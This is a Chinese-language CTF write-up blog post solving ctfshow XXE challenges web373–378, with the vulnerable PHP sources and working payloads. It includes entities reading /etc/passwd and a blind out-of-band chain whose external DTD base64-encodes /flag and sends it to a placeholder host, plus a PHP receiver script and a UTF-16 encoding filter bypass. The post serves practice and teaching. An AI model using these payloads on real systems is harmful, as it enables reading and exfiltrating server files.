ctfshow XXE专题


什么是XXE?

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

入门可以看看 XXE漏洞学习一篇文章带你深入理解漏洞之 XXE 漏洞

[toc]

web373

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
// 允许加载外部实体
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    // 加载xml实体,参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    // 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
    // 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);

没什么过滤,直接最简单的 payload 打上去就行,注意:只能用 bp 去打,hackbar 会进行编码将 <?xml version = 识别为键名导致 payload 失效,如下图

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<creds>
<ctfshow>&f;</ctfshow>
</creds>

image-20210927144431056

web374

和开头文章的实验二一模一样,没有回显:https://xz.aliyun.com/t/3357#toc-8

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

vps 创建 ctfshow.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://x/a.php?p=%file;'>">

接收脚本还是 xss 哪里改的

<?php
$cookie = base64_decode($_GET['p']);
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

然后 payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://x/ctfshow.dtd">
%remote;%int;%send;
]>

web375 | 376

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

过滤了 <?xml version="1.0" ,问题不大,还用上面的那个payload就行

看了web376,正则加了 i ,那上一题应该是大写绕过?

web377

这次增加了 http 的过滤,实在没有头绪,看羽师傅的博客才知道还能用编码绕过

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-09-28 16:38:20
# @Last Modified by:   ying
# @Last Modified time: 2021-09-28 16:39:31

import requests

url = 'http://3e5309a4-b3de-4620-ada1-03c41844fb54.challenge.ctf.show:8080/'
payload = """
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://xxx/ctfshow.dtd">
%remote;%int;%send;
]>
"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)

web378

这个题很熟悉,感觉以前某个比赛出过,登陆抓包,发现传输是 xml 形式,直接读文件


<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<user><username>&f;</username><password>a</password></user>

文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录